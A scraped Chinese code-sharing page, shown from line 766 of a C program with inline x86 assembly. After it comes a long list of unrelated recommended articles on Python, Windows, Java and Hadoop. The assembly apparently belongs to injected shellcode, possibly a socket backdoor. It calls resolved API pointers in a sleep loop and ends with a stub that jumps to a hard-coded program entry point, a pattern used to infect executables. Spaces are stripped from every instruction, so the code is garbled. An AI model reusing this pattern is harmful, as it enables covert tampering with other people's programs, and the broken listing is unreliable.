  766. movedx,[ebp-1E0h]
  767. pushedx
  768. calldwordptr[ebp-4010h]
  769. moveax,[ebp-38h]
  770. pusheax
  771. calldwordptr[ebp-4010h]
  772. movecx,[ebp-2Ch]
  773. pushecx
  774. calldwordptr[ebp-4010h]
  775. movedx,[ebp-34h]
  776. pushedx
  777. calldwordptr[ebp-4010h]
  778. moveax,[ebp-12F8h]
  779. pusheax
  780. calldwordptr[ebp-403Ch]
  781. push3E8h
  782. calldwordptr[ebp-4018h]
  783. jmploc_004010F7
  784. loc_0040140F:
  785. jmploc_004013C8
  786. loc_00401411:
  787. jmploc_004013C8
  788. loc_00401413:
  789. jmploc_004013C8
  790. loc_00401415:
  791. jmploc_004013C8
  792. loc_00401417:
  793. jmploc_004013C8
  794. loc_00401419:
  795. movesp,ebp
  796. popebp
  797. ret
  798. }
  800. /////////////////////////////////////////////////////////////
  801. ex:
  802. _asm
  803. {
  804. popecx
  805. pushecx
  806. ret
  807. }
  808. ex1:
  809. _asm
  810. {
  811. callex
  812. ret
  813. }
  814. exit1:
  815. ///////////////////////////////////////////////////////////////
  816. _asm
  817. {
  818. moveax,0x401000//这里需要更改为程序人口
  819. jmpeax
  820. }
  821. return0;
  822. }

你可能感兴趣的:(windows,socket)

  • 高级编程--XML+socket练习题 masa010 java开发语言
    1.北京华北2114.8万人上海华东2,500万人广州华南1292.68万人成都华西1417万人（1）使用dom4j将信息存入xml中（2）读取信息，并打印控制台（3）添加一个city节点与子节点（4）使用socketTCP协议编写服务端与客户端，客户端输入城市ID，服务器响应相应城市信息（5）使用socketTCP协议编写服务端与客户端，客户端要求用户输入city对象，服务端接收并使用dom4j
  • linux sdl windows.h,Windows下的SDL安装 奔跑吧linux内核 linuxsdlwindows.h
    首先你要下载并安装SDL开发包。如果装在C盘下，路径为C:\SDL1.2.5如果在WINDOWS下。你可以按以下步骤：1.打开VC++，点击"Tools",Options2,点击directories选项3.选择"Includefiles"增加一个新的路径。"C:\SDL1.2.5\include"4，现在选择"Libaryfiles“增加"C:\SDL1.2.5\lib"现在你可以开始编写你的第
  • 将cmd中命令输出保存为txt文本文件 落难Coder Windowscmdwindow
    最近深度学习本地的训练中我们常常要在命令行中运行自己的代码，无可厚非，我们有必要保存我们的炼丹结果，但是复制命令行输出到txt是非常麻烦的，其实Windows下的命令行为我们提供了相应的操作。其基本的调用格式就是：运行指令>输出到的文件名称或者具体保存路径测试下，我打开cmd并且ping一下百度：pingwww.baidu.com>./data.txt看下相同目录下data.txt的输出：如果你再
  • PHP环境搭建详细教程 好看资源平台 前端php
    PHP是一个流行的服务器端脚本语言，广泛用于Web开发。为了使PHP能够在本地或服务器上运行，我们需要搭建一个合适的PHP环境。本教程将结合最新资料，介绍在不同操作系统上搭建PHP开发环境的多种方法，包括Windows、macOS和Linux系统的安装步骤，以及本地和Docker环境的配置。1.PHP环境搭建概述PHP环境的搭建主要分为以下几类：集成开发环境：例如XAMPP、WAMP、MAMP，这
  • Python 实现图片裁剪（附代码） | Python工具 剑客阿良_ALiang
    前言本文提供将图片按照自定义尺寸进行裁剪的工具方法，一如既往的实用主义。环境依赖ffmpeg环境安装，可以参考我的另一篇文章：windowsffmpeg安装部署_阿良的博客-CSDN博客本文主要使用到的不是ffmpeg，而是ffprobe也在上面这篇文章中的zip包中。ffmpy安装：pipinstallffmpy-ihttps://pypi.douban.com/simple代码不废话了，上代码
  • 网络编程基础 记得开心一点啊 网络
    目录♫什么是网络编程♫Socket套接字♪什么是Socket套接字♪数据报套接字♪流套接字♫数据报套接字通信模型♪数据报套接字通讯模型♪DatagramSocket♪DatagramPacket♪实现UDP的服务端代码♪实现UDP的客户端代码♫流套接字通信模型♪流套接字通讯模型♪ServerSocket♪Socket♪实现TCP的服务端代码♪实现TCP的客户端代码♫什么是网络编程网络编程，指网络上
  • 2023最详细的Python安装教程（Windows版本） 程序员林哥 Pythonpythonwindows开发语言
    python安装是学习pyhon第一步，很多刚入门小白不清楚如何安装python，今天我来带大家完成python安装与配置，跟着我一步步来，很简单，你肯定能完成。第一部分：python安装（一）准备工作1、下载和安装python(认准官方网站)当然你不想去下载的话也可以分享给你，还有入门学习教程，点击下方卡片跳转进群领取（二）开始安装对于Windows操作系统，可以下载“executableins
  • windows下python opencv ffmpeg读取摄像头实现rtsp推流 拉流 图像处理大大大大大牛啊 opencv实战代码讲解视觉图像项目windowspythonopencv
    windows下pythonopencvffmpeg读取摄像头实现rtsp推流拉流整体流程1.下载所需文件1.1下载rtsp推流服务器1.2下载ffmpeg2.开启RTSP服务器3.opencv读取摄像头并调用ffmpeg进行推流4.opencv进行拉流5.opencv异步拉流整体流程1.下载所需文件1.1下载rtsp推流服务器下载RTSP服务器下载页面https://github.com/blu
  • VUE3 + xterm + nestjs实现web远程终端 或 连接开启SSH登录的路由器和交换机。 焚木灵 node.jsvue
    可远程连接系统终端或开启SSH登录的路由器和交换机。相关资料：xtermjs/xterm.js:Aterminalfortheweb(github.com)后端实现(NestJS)：1、安装依赖：npminstallnode-ssh@nestjs/websockets@nestjs/platform-socket.io2、我们将创建一个名为RemoteControlModule的NestJS模块，
  • macOs mojave 添加hp laserjet 1020 打印机方法。 Coder_Zh
    1.设置--》打印机与扫描仪。2.点击“+”选择IP3.输入地址：（写网络IP），协议选择：hpjetdirect-socket4.使用选项：选择hplaserjet10221.6（没有1020的驱动，但是1022的驱动兼容1020可以使用。）测试OK，可以使用。
  • 编译Windows平台的Nginx+ngx_http_proxy_connect_module Grovvy_Deng windowsnginxhttp
    编译Windows平台的Nginx+ngx_http_proxy_connect_module背景：由于公司的正向出局代理是windows机器。机器上的Squid不稳定，打算替换成nginx+ngx_http_proxy_connect_module实现。通过几天痛苦的尝试，最后参考了github大神项目通过在线CICD工具编译window平台可用的ng。步骤：获取git可识别的patch由于CI
  • 关闭Windows自动更新的6种方法 Gemini1995 windows
    在Windows操作系统中，可以使用多种方法来关闭自动更新。以下是其中一些常用的方法：使用设置应用：打开“设置”应用（Win+I），选择“更新和安全”。在左侧菜单中选择“Windows更新”。点击“更改活动时间”或“高级选项”。在“更新选项”下拉菜单中选择“通知我但不自动下载或安装”或“从不检查更新”。通过服务管理器：打开“服务”管理器，可以通过在运行对话框中输入services.msc来打开。找
  • 【nginx】ngx_http_proxy_connect_module 正向代理 等风来不如迎风去 网络服务入门与实战nginxhttp运维
    50.65无法访问服务器，(403错误)50.196可以访问服务器。那么，配置65通过196访问。需要一个nginx作为代理【nginx】搭配okhttp配置反向代理发送原生的nginx是不支持okhttp的CONNECT请求的。大神竟然给出了一个java工程GINX编译ngx_http_proxy_connect_module及做正向代理是linux构建的。是windows构建的：编译Windo
  • Windows安装ciphey编码工具，附一道ciscn编码题例 im-Miclelson CTF工具网络安全
    TA是什么一款智能化的编码分析解码工具，对于CTF中复杂性编码类题目可以快速攻破。编码自动分析解码的神器。如何安装Windows环境Python3.864位（最新的版本不兼容，32位的也不行）PIP直接安装pipinstallciphey-ihttps://pypi.mirrors.ustc.edu.cn/simple/安装后若是出现报错请根据错误代码行数找到对应文件，r修改成rb即可。使用标准语
  • Python程序打包指南：手把手教你一步步完成 Python_P叔 python数据库开发语言
    最近感兴趣想将开发的项目转成Package，研究了一下相关文章，并且自己跑通了，走了一下弯路，这里记录一下如何打包一个简单的Python项目，展示如何添加必要的文件和结构来创建包，如何构建包，以及如何将其上传到Python包索引（PyPI）。首先要确保安装最新版本：#Unix/macOSpython3-mpipinstall--upgradepip#windowspy-mpipinstall--u
  • 管理员权限的软件不能开机自启动的解决方法 ss_ctrl
    这是几种解决方法：1.将启动参数写入到32位注册表里面去在64位系统下我们64位的程序访问此HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run注册表路径，是可以正确访问的，32位程序访问此注册表路径时，默认会被系统自动映射到HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft
  • matlab游标标注移动,matlab实现图形窗口的数据游标 莫白想 matlab游标标注移动
    DatacursorsforfigurewindowSeveralrelatedfunctions:CreateCursorsetsupaverticalcursoronallaxesinafigure.Thecursorscanbemovedaroundusingthemouse.MultiplecursorsaresupportedineachfigureGetCursorLocationre
  • TA-Lib Python 库 Windows 64位安装包 黄桥壮Quinn
    TA-LibPython库Windows64位安装包TA.rar项目地址:https://gitcode.com/open-source-toolkit/3ff39简介本仓库提供了一个适用于Windows64位系统的TA-LibPython库安装包。TA-Lib是一个广泛用于金融技术分析的库，支持多种技术指标的计算。资源文件文件名TA-Lib-0.4.29-cp312-win-amd64.whl描
  • C#中判断socket是否已断开的方法 wiseyao1219 c#
    代码如下：Sockets=newSocket(..);if(s.Poll(-1,SelectMode.SelectRead)){intnRead=s.Receive();if(nRead==0){//socket连接已断开}}参考：C#中判断socket是否已断开的方法
  • 【Python爬虫】百度百科词条内容 PokiFighting 数据处理python爬虫开发语言
    词条内容我这里随便选取了一个链接，用的是FBI的词条importurllib.requestimporturllib.parsefromlxmlimportetreedefquery(url):headers={'user-agent':'Mozilla/5.0(WindowsNT6.1;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/80.
  • 如何避免学习linux必然会遇到的几个问题 twintwin
    相信在看这篇文章的都是对linux系统所迷的志同道合的人，不管你是刚开始学，还是已经接触过一些linux的知识，下面的问题是你在学习linux所必须遇到的，若是没有的话那我只能说大神我服你了。下面我就作为一个过来人分享下我学习后的经验。一、无法摆脱Windows的思维方式相信大家接触电脑的时候都是从windows开始，windows的思维方式已经根深蒂固。不过现在你已经打算开始学习linux了，就
  • 两种方法判断Python的位数是32位还是64位 sanqima Python编程电脑python开发语言
      Python从1991年发布以来，凭借其简洁、清晰、易读的语法、丰富的标准库和第三方工具，在Web开发、自动化测试、人工智能、图形识别、机器学习等领域发展迅猛。  Python是一种胶水语言，通过Cython库与C/C++语言进行链接，通过Jython库与Java语言进行链接。  Python是跨平台的，可运行在多种操作系统上，包括但不限于Windows、Linux和macOS。这意味着用Py
  • 【仿RabbitMQ消息队列项目day2】使用muduo库中基于protobuf的应用层协议进行通信 月夜星辉雪 rabbitmq网络分布式c++后端服务器linux
    一.什么是muduo?muduo库是⼀个基于非阻塞IO和事件驱动的C++高并发TCP网络编程库。简单来理解，它就是对原生的TCP套接字的封装，是一个比socket编程接口更好用的编程库。二.使用muduo库完成一个英译汉翻译服务TranslateServer.hpp:#pragmaonce#include#include#include#include#include"muduo/net/TcpC
  • java打印标签（机型TOSHIBA条码打印机B-EX4T）  嘘  JAVAjava
    java打印标签实现方式标签效果代码获取更多相关资料实现rfid写入功能实现方式打印机设置网络ipjava获取socket连接，调用TPCL指令标签效果代码packageorg.jeecg.modules.invinfo.util;importorg.jeecg.modules.invinfo.vo.BatKcInventoryDetailVo;importorg.springframework.
  • python logging模块默认日志级别_一看就懂，Python 日志 logging 模块详解及应用 路易·罗莎 pythonlogging模块默认日志级别
    日志概述百度百科的日志概述：Windows网络操作系统都设计有各种各样的日志文件，如应用程序日志，安全日志、系统日志、Scheduler服务日志、FTP日志、WWW日志、DNS服务器日志等等，这些根据你的系统开启的服务的不同而有所不同。我们在系统上进行一些操作时，这些日志文件通常会记录下我们操作的一些相关内容，这些内容对系统安全工作人员相当有用。比如说有人对系统进行了IPC探测，系统就会在安全日志
  • 《黑神话：悟空》游戏AkExpander.dll文件缺失，使用工具修复更快捷 李秋秋啊 游戏
    在Windows操作系统中，当遇到“黑神话：悟空”游戏中的AkExpander.dll文件丢失问题时，用户可能会经历游戏启动失败或运行中断的情况。这个DLL文件是游戏正常运行所必需的，缺失或损坏会导致关键功能无法执行，影响游戏体验。针对《黑神话：悟空》游戏中AkExpander.dll文件缺失的问题，您可以尝试以下几种解决方法：一、重新安装游戏首先，考虑卸载当前安装的游戏版本，并从官方渠道重新下载
  • MySQL数据库全面学习之（上篇） 一心只为学 数据库mysql学习
    Windows服务--启动MySQLnetstartmysql--创建Windows服务sccreatemysqlbinPath=mysqld_bin_path(注意：等号与值之间有空格)连接与断开服务器mysql-h地址-P端口-u用户名-p密码SHOWPROCESSLIST--显示哪些线程正在运行SHOWVARIABLES--显示系统变量信息数据库操作--查看当前数据库SELECTDATABA
  • 技术周总结 09.09~09.15周日(C# WinForm WPF) 打破砂锅问到底007 wpfc#WinForm
    文章目录一、09.09周一1.1)问题01:Windows桌面开发中，WPF和WinForm的区别和联系？联系：区别：二、09.12周四2.1）问题01：visualstudio的相关快捷键有哪些？通用快捷键编辑导航调试窗口管理2.2）问题02：publicpartialclassChoosePLReason:CommonBaseForm2.3)问题03：介绍WindowsForms中的Syste
  • xp系统打开计算机硬盘分区,详解WindowsXP硬盘分区步骤 随缘惜情 xp系统打开计算机硬盘分区
    有许多游戏玩家对经典的WinXP系统非常忠实，即使重新购买了一台超强配置的电脑，依然选择安装WinXP系统，因为WinXP对很多老游戏兼容性更强，游戏玩家也对硬盘的分配非常讲究，因为每一款好玩的游戏容量都是非常庞大，而如果硬盘容量太小的话就装不了几款游戏了，所以许多用户喜欢将其它硬盘容量都分配到一个比较大的分区内，若是Win7就可以非常直观的自动分配，而在WinXP系统下该如何实现呢?下面一起来认
  • 什么是 PHP? 为什么用 PHP? 谁在用 PHP? m0_37438181 永远学习php开发语言
    一、什么是PHP？PHP（HypertextPreprocessor，超文本预处理器）是一种广泛应用于Web开发的通用开源脚本语言。PHP主要用于服务器端编程，可以嵌入HTML中，与数据库进行交互，生成动态网页内容。它具有以下特点：简单易学：语法相对简单，容易上手，对于初学者来说是一个不错的选择。跨平台性：可以在多种操作系统上运行，如Windows、Linux、Unix等。丰富的函数库：提供了大量
  • 如何用ruby来写hadoop的mapreduce并生成jar包 wudixiaotie mapreduce
    ruby来写hadoop的mapreduce，我用的方法是rubydoop。怎么配置环境呢： 1.安装rvm：     不说了 网上有 2.安装ruby：     由于我以前是做ruby的，所以习惯性的先安装了ruby，起码调试起来比jruby快多了。 3.安装jruby：     rvm install jruby然后等待安
  • java编程思想 -- 访问控制权限 百合不是茶 java访问控制权限单例模式
    访问权限是java中一个比较中要的知识点,它规定者什么方法可以访问,什么不可以访问   一:包访问权限;   自定义包: package com.wj.control; //包 public class Demo { //定义一个无参的方法 public void DemoPackage(){ System.out.println("调用
  • [生物与医学]请审慎食用小龙虾 comsci 生物
         现在的餐馆里面出售的小龙虾,有一些是在野外捕捉的,这些小龙虾身体里面可能带有某些病毒和细菌,人食用以后可能会导致一些疾病,严重的甚至会死亡.....      所以,参加聚餐的时候,最好不要点小龙虾...就吃养殖的猪肉,牛肉,羊肉和鱼,等动物蛋白质     
  • org.apache.jasper.JasperException: Unable to compile class for JSP: 商人shang maven2.2jdk1.8
    环境： jdk1.8    maven  tomcat7-maven-plugin  2.0 原因： tomcat7-maven-plugin  2.0 不知吃 jdk 1.8，换成 tomcat7-maven-plugin  2.2就行，即     <plugin>
  • 你的垃圾你处理掉了吗?GC oloz GC
    前序:本人菜鸟，此文研究学习来自网络，各位牛牛多指教　 1.垃圾收集算法的核心思想 　　Java语言建立了垃圾收集机制，用以跟踪正在使用的对象和发现并回收不再使用(引用)的对象。该机制可以有效防范动态内存分配中可能发生的两个危险：因内存垃圾过多而引发的内存耗尽，以及不恰当的内存释放所造成的内存非法引用。 　　垃圾收集算法的核心思想是：对虚拟机可用内存空间，即堆空间中的对象进行识别
  • shiro 和 SESSSION 杨白白 shiro
    shiro 在web项目里默认使用的是web容器提供的session，也就是说shiro使用的session是web容器产生的，并不是自己产生的，在用于非web环境时可用其他来源代替。在web工程启动的时候它就和容器绑定在了一起，这是通过web.xml里面的shiroFilter实现的。通过session.getSession()方法会在浏览器cokkice产生JESSIONID，当关闭浏览器，此
  • 移动互联网终端 淘宝客如何实现盈利 小桔子 移動客戶端淘客淘寶App
           2012年淘宝联盟平台为站长和淘宝客带来的分成收入突破30亿元，同比增长100%。而来自移动端的分成达1亿元，其中美丽说、蘑菇街、果库、口袋购物等App运营商分成近5000万元。 可以看出，虽然目前阶段PC端对于淘客而言仍旧是盈利的大头，但移动端已经呈现出爆发之势。而且这个势头将随着智能终端(手机，平板)的加速普及而更加迅猛
  • wordpress小工具制作 aichenglong wordpress小工具
    wordpress 使用侧边栏的小工具，很方便调整页面结构 小工具的制作过程 1 在自己的主题文件中新建一个文件夹(如widget)，在文件夹中创建一个php(AWP_posts-category.php) 小工具是一个类,想侧边栏一样，还得使用代码注册，他才可以再后台使用，基本的代码一层不变 <?php class AWP_Post_Category extends WP_Wi
  • JS微信分享 AILIKES js
    // 所有功能必须包含在 WeixinApi.ready 中进行    WeixinApi.ready(function(Api) {        // 微信分享的数据            var wxData = {       &nb
  • 封装探讨 百合不是茶 JAVA面向对象 封装
    //封装   属性 方法 将某些东西包装在一起，通过创建对象或使用静态的方法来调用，称为封装；封装其实就是有选择性地公开或隐藏某些信息，它解决了数据的安全性问题，增加代码的可读性和可维护性   在 Aname类中申明三个属性，将其封装在一个类中：通过对象来调用   例如   1： //属性 将其设为私有 姓名 name 可以公开
  • jquery radio/checkbox change事件不能触发的问题 bijian1013 JavaScriptjquery
    我想让radio来控制当前我选择的是机动车还是特种车，如下所示：  <html> <head> <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js" type="text/javascript"><
  • AngularJS中安全性措施 bijian1013 JavaScriptAngularJS安全性XSRFJSON漏洞
            在使用web应用中，安全性是应该首要考虑的一个问题。AngularJS提供了一些辅助机制，用来防护来自两个常见攻击方向的网络攻击。 一.JSON漏洞         当使用一个GET请求获取JSON数组信息的时候（尤其是当这一信息非常敏感，
  • [Maven学习笔记九]Maven发布web项目 bit1129 maven
    基于Maven的web项目的标准项目结构 user-project     user-core     user-service     user-web        src      
  • 【Hive七】Hive用户自定义聚合函数(UDAF) bit1129 hive
    用户自定义聚合函数，用户提供的多个入参通过聚合计算(求和、求最大值、求最小值)得到一个聚合计算结果的函数。 问题：UDF也可以提供输入多个参数然后输出一个结果的运算，比如加法运算add(3，5)，add这个UDF需要实现UDF的evaluate方法,那么UDF和UDAF的实质分别究竟是什么？   Double evaluate(Double a, Double b)  
  • 通过 nginx-lua 给 Nginx 增加 OAuth 支持 ronin47
    前言：我们使用Nginx的Lua中间件建立了OAuth2认证和授权层。如果你也有此打算，阅读下面的文档，实现自动化并获得收益。SeatGeek 在过去几年中取得了发展，我们已经积累了不少针对各种任务的不同管理接口。我们通常为新的展示需求创建新模块，比如我们自己的博客、图表等。我们还定期开发内部工具来处理诸如部署、可视化操作及事件处理等事务。在处理这些事务中，我们使用了几个不同的接口来认证： &n
  • 利用tomcat-redis-session-manager做session同步时自定义类对象属性保存不上的解决方法 bsr1983 session
    在利用tomcat-redis-session-manager做session同步时，遇到了在session保存一个自定义对象时，修改该对象中的某个属性，session未进行序列化，属性没有被存储到redis中。 在 tomcat-redis-session-manager的github上有如下说明： Session Change Tracking As noted in the &qu
  • 《代码大全》表驱动法-Table Driven Approach-1 bylijinnan java算法
    关于Table Driven Approach的一篇非常好的文章： http://www.codeproject.com/Articles/42732/Table-driven-Approach package com.ljn.base; import java.util.Random; public class TableDriven { public
  • Sybase封锁原理 chicony Sybase
           昨天在操作Sybase IQ12.7时意外操作造成了数据库表锁定，不能删除被锁定表数据也不能往其中写入数据。由于着急往该表抽入数据，因此立马着手解决该表的解锁问题。     无奈此前没有接触过Sybase IQ12.7这套数据库产品，加之当时已属于下班时间无法求助于支持人员支持，因此只有借助搜索引擎强大的
  • java异常处理机制 CrazyMizzz java
    java异常关键字有以下几个，分别为 try catch final throw throws 他们的定义分别为 try：    Opening exception-handling statement. catch：  Captures the exception. finally： Runs its code before terminating
  • hive 数据插入DML语法汇总 daizj hiveDML数据插入
    Hive的数据插入DML语法汇总1、Loading files into tables语法：1) LOAD DATA [LOCAL] INPATH 'filepath' [OVERWRITE] INTO TABLE tablename [PARTITION (partcol1=val1, partcol2=val2 ...)]解释：1)、上面命令执行环境为hive客户端环境下： hive>l
  • 工厂设计模式 dcj3sjt126com 设计模式
      使用设计模式是促进最佳实践和良好设计的好办法。设计模式可以提供针对常见的编程问题的灵活的解决方案。 工厂模式 工厂模式（Factory）允许你在代码执行时实例化对象。它之所以被称为工厂模式是因为它负责“生产”对象。工厂方法的参数是你要生成的对象对应的类名称。 Example #1 调用工厂方法（带参数） <?phpclass Example{ 
  • mysql字符串查找函数 dcj3sjt126com mysql
      FIND_IN_SET(str,strlist) 假如字符串str 在由N 子链组成的字符串列表strlist 中，则返回值的范围在1到 N 之间。一个字符串列表就是一个由一些被‘,’符号分开的自链组成的字符串。如果第一个参数是一个常数字符串，而第二个是type SET列，则   FIND_IN_SET() 函数被优化，使用比特计算。如果str不在strlist 或st
  • jvm内存管理 easterfly jvm
    一、JVM堆内存的划分 分为年轻代和年老代。年轻代又分为三部分：一个eden,两个survivor。 工作过程是这样的：e区空间满了后，执行minor gc，存活下来的对象放入s0, 对s0仍会进行minor gc，存活下来的的对象放入s1中，对s1同样执行minor gc，依旧存活的对象就放入年老代中； 年老代满了之后会执行major gc，这个是stop the word模式，执行
  • CentOS-6.3安装配置JDK-8 gengzg centos
    JAVA_HOME=/usr/java/jdk1.8.0_45 JRE_HOME=/usr/java/jdk1.8.0_45/jre PATH=$PATH:$JAVA_HOME/bin:$JRE_HOME/bin CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar:$JRE_HOME/lib export JAVA_HOME
  • 【转】关于web路径的获取方法 huangyc1210 Web路径
    假定你的web application 名称为news,你在浏览器中输入请求路径：  http://localhost:8080/news/main/list.jsp  则执行下面向行代码后打印出如下结果：  1、 System.out.println(request.getContextPath()); //可返回站点的根路径。也就是项
  • php里获取第一个中文首字母并排序 远去的渡口 数据结构PHP
    很久没来更新博客了，还是觉得工作需要多总结的好。今天来更新一个自己认为比较有成就的问题吧。 最近在做储值结算，需求里结算首页需要按门店的首字母A-Z排序。我的数据结构原本是这样的： Array ( [0] => Array ( [sid] => 2885842 [recetcstoredpay] =&g
  • java内部类 hm4123660 java内部类匿名内部类成员内部类方法内部类
         　在Java中，可以将一个类定义在另一个类里面或者一个方法里面，这样的类称为内部类。内部类仍然是一个独立的类，在编译之后内部类会被编译成独立的.class文件，但是前面冠以外部类的类名和$符号。内部类可以间接解决多继承问题,可以使用内部类继承一个类，外部类继承一个类，实现多继承。      &nb
  • Caused by: java.lang.IncompatibleClassChangeError: class org.hibernate.cfg.Exten zhb8015
    maven pom.xml关于hibernate的配置和异常信息如下，查了好多资料，问题还是没有解决。只知道是包冲突，就是不知道是哪个包....遇到这个问题的分享下是怎么解决的。。   maven pom:   <dependency> <groupId>org.hibernate</groupId> <ar
  • Spark 性能相关参数配置详解－任务调度篇 Stark_Summer sparkcachecpu任务调度yarn
    随着Spark的逐渐成熟完善, 越来越多的可配置参数被添加到Spark中来, 本文试图通过阐述这其中部分参数的工作原理和配置思路, 和大家一起探讨一下如何根据实际场合对Spark进行配置优化。   由于篇幅较长，所以在这里分篇组织，如果要看最新完整的网页版内容，可以戳这里：http://spark-config.readthedocs.org/，主要是便
  • css3滤镜 wangkeheng htmlcss
    经常看到一些网站的底部有一些灰色的图标，鼠标移入的时候会变亮，开始以为是js操作src或者bg呢，搜索了一下，发现了一个更好的方法：通过css3的滤镜方法。 html代码： <a href='' class='icon'><img src='utv.jpg' /></a> css代码： .icon{-webkit-filter: graysc
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他